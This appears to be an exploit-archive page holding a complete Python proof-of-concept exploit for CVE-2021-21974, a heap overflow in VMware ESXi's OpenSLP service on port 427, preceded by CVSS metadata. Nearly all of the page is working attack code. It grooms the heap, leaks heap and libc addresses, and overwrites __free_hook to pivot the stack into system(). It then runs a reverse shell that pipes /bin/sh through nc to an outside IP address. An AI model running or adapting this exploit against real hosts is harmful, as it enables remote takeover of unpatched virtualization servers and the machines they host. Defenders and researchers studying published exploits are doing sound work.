VMware ESXi OpenSLP Heap Overflow

2021.06.06
Credit: Johnny Yu
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-119


CVSS Base Score: 5.8/10
Impact Subscore: 6.4/10
Exploitability Subscore: 6.5/10
Exploit range: Adjacent network
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

#!/usr/bin/python3 ###################################################################################################### # CVE-2021-21974 PoC Exploit # By: Johnny Yu (@staight_blast) # Tested against: # [1] VMware ESXi 6.7.0 build-14320388 ; VMware ESXi 6.7.0 Update 3 # [2] VMware ESXi 6.7.0 build-16316930 ; VMware ESXi 6.7.0 Update 3 ###################################################################################################### import sys import time import trace import queue import struct import socket import threading IP = sys.argv[1] #shell_cmd = b'echo "pwned" > /tmp/pwn' shell_cmd = b'mknod /tmp/backpipe p ; /bin/sh 0</tmp/backpipe | nc 192.168.0.194 80 1>/tmp/backpipe' DEBUG = False PRINT = True LOG_LEAK = False T = 0.3 #0.4 PORT = 427 COMMAND = 'command' MARKER = b'\xef\xbe\xad\xde' LISTEN = 0x65 STREAM_READ = 0x6c STREAM_WRITE = 0x6f STREAM_READ_FIRST = 0x6d LISTEN_FD = 0x8 leaked_data = b'\x00\x00\x00\x00' leaked_values = None class SLP_Thread(threading.Thread): def __init__(self, input_q): super(SLP_Thread, self).__init__() self.input_q = input_q def run(self): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) while True: try: data = self.input_q.get(True, 0.05) name = threading.current_thread().name.replace('Thread','SLP Client') if 'connect' == data[COMMAND]: if PRINT: print('[' + name + '] connect') s.connect((IP, PORT)) elif 'service request' == data[COMMAND]: arg1 = data['arg1'] outgoing = self.generate_srv_rqst(arg1) if PRINT: print('[' + name + '] service request') s.send(outgoing) d = s.recv(1024) if PRINT: print('[' + name + '] recv: ', d) elif 'directory agent advertisement' == data[COMMAND]: arg1 = data['arg1'] arg2 = data['arg2'] outgoing = self.generate_da_advert(arg1, arg2) if PRINT: print('[' + name + '] directory agent advertisement') s.send(outgoing) d = s.recv(1024) if PRINT: print('[' + name + '] recv: ', d) elif 'service registration' == data[COMMAND]: arg1 = data['arg1'] arg2 = data['arg2'] arg3 = data['arg3'] arg4 = data['arg4'] outgoing = self.generate_srv_reg(arg1, arg2, arg3, arg4) if PRINT: print('[' + name + '] service registration') s.send(outgoing) d = s.recv(1024) if PRINT: print('[' + name +'] recv: ', d) elif 'attribute request' == data[COMMAND]: arg1 = data['arg1'] arg2 = data['arg2'] outgoing = self.generate_attrib_rqst(arg1) if PRINT: print('[' + name + '] attribute request') s.send(outgoing) output = b'' for i in range(0, arg2): output += s.recv(1) if PRINT: print('[' + name + '] recv: ', output) elif 'recv' == data[COMMAND]: output = b'' arg1 = data['arg1'] arg2 = data['arg2'] for i in range(0, arg2): output += s.recv(1) if arg1: print('[' + name + '] recv: ', output) elif 'leak data' == data[COMMAND]: outgoing = b'' incoming = b'' arg1 = data['arg1'] if arg1 > 0: for i in range(0, arg1): outgoing += s.recv(1) #print(outgoing.hex()) global leaked_data leaked_data = outgoing else: while True: incoming = s.recv(1) outgoing += incoming if MARKER in outgoing: break global leaked_values leaked_values = [] try: for i in range(0, len(outgoing), 4): v = struct.unpack('<I', outgoing[i : i+4])[0] leaked_values.append(v) except: pass elif 'close' == data[COMMAND]: if PRINT: print('[' + name + '] close') s.close() break except queue.Empty: continue def generate_slp_header(self, payload, functionid, xid, extoffset): packetlen = len(payload) + 16 if extoffset: extoffset += 16 header = bytearray([2, functionid]) header.extend(struct.pack('!IH', packetlen, 0)[1:]) header.extend(struct.pack('!IHH', extoffset, xid, 2)[1:]) header.extend(b'en') return header def generate_srv_rqst(self, data): srvtype = prlist = scopes = predicate = b'' spi = data payload = bytearray(struct.pack('!H', len(prlist)) + prlist) payload.extend(struct.pack('!H', len(srvtype)) + srvtype) payload.extend(struct.pack('!H', len(scopes)) + scopes) payload.extend(struct.pack('!H', len(predicate)) + predicate) payload.extend(struct.pack('!H', len(spi)) + spi) header = self.generate_slp_header(payload, 1, 5, 0) return header + payload def generate_da_advert(self, url, scopes): error_code = 0 boot_time = int(time.time()) attributes = spi = auth_blocks = b'' payload = bytearray(struct.pack('!H', error_code) + struct.pack('!I', boot_time)) payload.extend(struct.pack('!H', len(url)) + url) payload.extend(struct.pack('!H', len(scopes)) + scopes) payload.extend(struct.pack('!H', len(attributes)) + attributes) payload.extend(struct.pack('!H', len(spi)) + spi) payload.extend(struct.pack('!H', len(auth_blocks)) + auth_blocks) header = self.generate_slp_header(payload, 8, 0, 0) return header + payload def generate_url_entry(self, url): lifetime = 2 * 60 #seconds auth_blocks = b'' payload = bytearray([0]) payload.extend(struct.pack('!H', lifetime)) payload.extend(struct.pack('!H', len(url)) + url) payload.extend(struct.pack('!B', len(auth_blocks)) + auth_blocks) return payload def generate_srv_reg(self, url, srvtype, scopes, attributes): attrib_auth_blocks = b'' url_entry = self.generate_url_entry(url) payload = bytearray(url_entry) payload.extend(struct.pack('!H', len(srvtype)) + srvtype) payload.extend(struct.pack('!H', len(scopes)) + scopes) payload.extend(struct.pack('!H', len(attributes)) + attributes) payload.extend(struct.pack('!B', len(attrib_auth_blocks)) + attrib_auth_blocks) header = self.generate_slp_header(payload, 3, 20, 0) return header + payload def generate_attrib_rqst(self, url): scopes = b'DEFAULT' prlist = tags = spi = b'' payload = bytearray(struct.pack('!H', len(prlist)) + prlist) payload.extend(struct.pack('!H', len(url)) + url) payload.extend(struct.pack('!H', len(scopes)) + scopes) payload.extend(struct.pack('!H', len(tags)) + tags) payload.extend(struct.pack('!H', len(spi)) + spi) header = self.generate_slp_header(payload, 6, 12, 0) return header + payload def close(): time.sleep(T) return {'command' : 'close'} def connect(): time.sleep(T) return {'command' : 'connect'} def service_request(arg1): time.sleep(T) return {'command' : 'service request', 'arg1' : arg1} def da_advert_request(arg1, arg2): time.sleep(T) return {'command' : 'directory agent advertisement', 'arg1' : arg1, 'arg2' : arg2} def service_registration(arg1, arg2): time.sleep(T) return {'command' : 'service registration', 'arg1' : b'127.0.0.1', 'arg2' : arg1, 'arg3' : b'default', 'arg4' : arg2} def attribute_request(arg1, arg2): time.sleep(T) return {'command' : 'attribute request', 'arg1' : arg1, 'arg2' : arg2} def leak_data(arg1 = -1): time.sleep(T) return {'command' : 'leak data', 'arg1': arg1} def overflow_and_extend(size, flag): arg1 = b'A' * 24 arg2 = b'B' * 13 + struct.pack('<H', size + flag) + b':/' + b'C' * 647 return da_advert_request(arg1, arg2) def update_target_slpdsocket(fd, size, state): payload = b'\xd0\x00\x00\x00' payload += b'\x00' * 8 + b'\xbe\xba\xfe\xca' payload += struct.pack('<I', fd) payload += b'\x00' * 4 payload += struct.pack('<I', state) payload += b'\x00' * 12 payload += b'\x02\x00\x00\x00' payload += b'\x7f\x00\x00\x01' payload += b'\x00' * 8 filler = b'A' * (size - 0x76) return service_request(filler + payload) def partial_update_target_send_buffer(size, send_buffer_size, flag, data): payload = struct.pack('<I', send_buffer_size + flag) payload += b'\x00' * 8 payload += struct.pack('<I', send_buffer_size - 0x20) payload += data #b'\x00' * 2 filler = b'A' * (size - 0x56) return service_request(filler + payload) def update_target_send_buffer(size, send_buffer_size, flag, address, length): payload = struct.pack('<I', send_buffer_size + flag) payload += b'\x00' * 8 payload += struct.pack('<I', send_buffer_size - 0x20) payload += struct.pack('<I', address) * 2 payload += struct.pack('<I', address + length) payload += b'\x00' * 0x10 filler = b'A' * (size - 0x66) return service_request(filler + payload) def update_target_recv_buffer(size, address): size += 0x1a payload = b'\x40\x00\x00\x00' payload += b'\x00' * 8 payload += struct.pack('<I', size) payload += struct.pack('<I', address - 26) * 2 + struct.pack('<I', address - 26 + size) filler = b'A' * 0xca return service_request(filler + payload) def block(size): if size > 0x38: size = size - 0x38 else: size = 1 return service_request(b'A' * size) def breakpoint(): time.sleep(T) input('breakpoint') def exploit(): count = 60 requests = [0] slpclients = [0] global leaked_data global leaked_values requests.extend([queue.Queue() for i in range(1, count)]) slpclients.extend([SLP_Thread(input_q = requests[i]) for i in range(1, count)]) for i in range(1, count): slpclients[i].start() requests[1].put(connect()) requests[1].put(da_advert_request(b'roflmao://pwning', b'BBB')) requests[2].put(connect()) requests[3].put(connect()) requests[4].put(connect()) requests[5].put(connect()) requests[2].put(block(0x40)) requests[3].put(block(0x40)) requests[4].put(block(0x40)) requests[5].put(block(0x40)) requests[6].put(connect()) requests[6].put(block(0x810)) requests[7].put(connect()) requests[8].put(connect()) requests[6].put(close()) requests[9].put(connect()) requests[9].put(overflow_and_extend(0x140, 0x1)) fd = 0xc requests[8].put(update_target_slpdsocket(fd, 0x140, STREAM_READ_FIRST)) requests[7].put(service_registration(b'service:pwn', MARKER + b'B' * (0x3200 - 21 - 4))) requests[8].put(update_target_slpdsocket(LISTEN_FD, 0x140, LISTEN)) requests[10].put(connect()) requests[10].put(block(0x70)) requests[11].put(connect()) requests[12].put(connect()) requests[13].put(connect()) requests[11].put(block(0x810)) requests[14].put(connect()) requests[14].put(block(0x160)) requests[12].put(block(0x810)) requests[14].put(close()) requests[15].put(connect()) requests[15].put(attribute_request(b'service:pwn', 0x20)) requests[13].put(block(0x110)) requests[16].put(connect()) requests[17].put(connect()) requests[12].put(close()) requests[18].put(connect()) requests[18].put(overflow_and_extend(0x120, 0x3)) requests[17].put(partial_update_target_send_buffer(0x120, 0x3220, 0x1, b'\x00\x00')) requests[19].put(connect()) requests[19].put(block(0x178)) requests[11].put(close()) requests[20].put(connect()) requests[20].put(overflow_and_extend(0x140, 0x1)) fd = 0x11 requests[16].put(update_target_slpdsocket(fd, 0x140, STREAM_WRITE)) requests[16].put(update_target_slpdsocket(LISTEN_FD, 0x140, LISTEN)) requests[21].put(connect()) requests[21].put(block(0x178)) requests[15].put(leak_data()) time.sleep(T + 1.0) heap_address = 0 libc_base_address = 0 if leaked_values == None: print("[-] Exploit Failed [-]") return -1 leaked_values = leaked_values[::-1] if LOG_LEAK: for i in leaked_values: print(hex(i)) if leaked_values[0] == 0xdeadbeef: heap_address = leaked_values[6] - 0x3220 + 0x4 elif leaked_values[0] == 0xefeb3174: heap_offset = 0x2b1 if leaked_values[42] == 0x42424242 else 0x5d61 heap_address = leaked_values[14] + heap_offset libc_leak_location = heap_address - 0x100 + 4 requests[22].put(connect()) requests[22].put(block(0x810)) requests[23].put(connect()) requests[23].put(block(0x100)) requests[24].put(connect()) requests[24].put(block(0x810)) requests[23].put(close()) requests[25].put(connect()) requests[25].put(block(0x698)) requests[27].put(connect()) requests[28].put(connect()) requests[24].put(close()) requests[26].put(connect()) requests[26].put(overflow_and_extend(0x130, 0x1)) requests[27].put(update_target_send_buffer(0x130, 0x598, 0x1, libc_leak_location, 0x4)) requests[29].put(connect()) requests[29].put(block(0x178)) requests[22].put(close()) requests[30].put(connect()) requests[30].put(overflow_and_extend(0x140, 0x1)) fd = 0x15 requests[28].put(update_target_slpdsocket(fd, 0x140, STREAM_WRITE)) requests[28].put(update_target_slpdsocket(LISTEN_FD, 0x140, LISTEN)) requests[31].put(connect()) requests[31].put(block(0x178)) requests[25].put(leak_data(0x4)) time.sleep(T + 1.0) libc_base_address = struct.unpack('<I', leaked_data)[0] - 0x193568 libc_ret_offset = 0x0008009c libc_system_offset = 0x0003e390 libc_environ_offset = 0x00194e20 libc___free_hook_offset = 0x001948d8 libc_ret_address = libc_base_address + libc_ret_offset libc_system_address = libc_base_address + libc_system_offset libc_environ_address = libc_base_address + libc_environ_offset libc___free_hook_address = libc_base_address + libc___free_hook_offset shell_cmd_address = heap_address + 0x34 gadget_offset = 0x0007fe01 # add esp, 0x100 ; ret gadget_address = libc_base_address + gadget_offset requests[27].put(update_target_send_buffer(0x130, 0x598, 0x1, libc_environ_address, 0x4)) requests[28].put(update_target_slpdsocket(fd, 0x140, STREAM_WRITE)) requests[25].put(leak_data(0x4)) time.sleep(T + 1.0) stack_environ_address = struct.unpack('<I', leaked_data)[0] esp_offset = 0xe30 if sys.argv[2] == '1' else 0xe7c esp_value = stack_environ_address - esp_offset pivoted_esp_value = esp_value + 0x100 print() print('[+] libc base address: ', hex(libc_base_address)) print("[+] libc system address: ", hex(libc_system_address)) print("[+] libc environ address: ", hex(libc_environ_address)) print("[+] libc __free_hook address: ", hex(libc___free_hook_address)) print("[+] ret address: ", hex(libc_ret_address)) print("[+] gadget address: ", hex(gadget_address)) print('[+] heap address: ', hex(heap_address)) print("[+] shell command address: ", hex(shell_cmd_address)) print("[+] stack enviorn address: ", hex(stack_environ_address)) print("[+] esp value: ", hex(esp_value)) print("[+] pivoted esp value: ", hex(pivoted_esp_value)) print() requests[28].put(update_target_slpdsocket(LISTEN_FD, 0x140, LISTEN)) requests[32].put(connect()) requests[32].put(block(0x810)) requests[33].put(connect()) requests[34].put(connect()) requests[34].put(block(0x810)) requests[33].put(block(0x100)) requests[35].put(connect()) requests[36].put(connect()) requests[34].put(close()) requests[37].put(connect()) requests[37].put(overflow_and_extend(0x120, 0x3)) requests[36].put(update_target_recv_buffer(0x4, shell_cmd_address)) requests[38].put(connect()) requests[38].put(block(0x178)) requests[32].put(close()) requests[39].put(connect()) requests[39].put(overflow_and_extend(0x140, 0x1)) requests[35].put(update_target_slpdsocket(LISTEN_FD, 0x140, LISTEN)) requests[40].put(connect()) requests[40].put(block(0x178)) fd = 0x1a payload = shell_cmd + b'\x00' requests[36].put(update_target_recv_buffer(len(payload), shell_cmd_address)) requests[35].put(update_target_slpdsocket(fd, 0x140, STREAM_READ)) requests[33].put(service_request(payload)) payload = struct.pack('<I', libc_ret_address) * 10 + struct.pack('<I', libc_system_address) + b'\x41' * 4 + struct.pack('<I', shell_cmd_address) requests[36].put(update_target_recv_buffer(len(payload), pivoted_esp_value - 0x10)) requests[35].put(update_target_slpdsocket(fd, 0x140, STREAM_READ)) requests[33].put(service_request(payload)) #breakpoint() payload = b'\x41\x41\x41\x41' if DEBUG == True else struct.pack('<I', gadget_address) requests[36].put(update_target_recv_buffer(len(payload), libc___free_hook_address)) requests[35].put(update_target_slpdsocket(fd, 0x140, STREAM_READ)) requests[33].put(service_request(payload)) time.sleep(T + 1.0) print('[*] exploit deployed') return 0 def intro(): print(" _____ _____ ___ __ ___ _ ___ _ ___ ____ _ _ ") print(" / __\ \ / / __|_|_ ) \_ ) |__|_ ) / _ \__ | | | ") print(" | (__ \ V /| _|___/ / () / /| |___/ /| \_, / / /|_ _| ") print(" \___| \_/ |___| /___\__/___|_| /___|_|/_/ /_/ |_| ") print() print(" PoC Exploit ") print() print(" vuln discovered by: Lucas Leong (@_wmliang_) ") print(" poc by: Johnny Yu (@straight_blast) ") print(" ") print() print(" currently support the following: ") print(" [1] VMware ESXi 6.7.0 build-14320388 ") print(" [2] VMware ESXi 6.7.0 build-16316930 ") print() if __name__ == '__main__': intro() exploit()


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2021, cxsecurity.com

 

Back to Top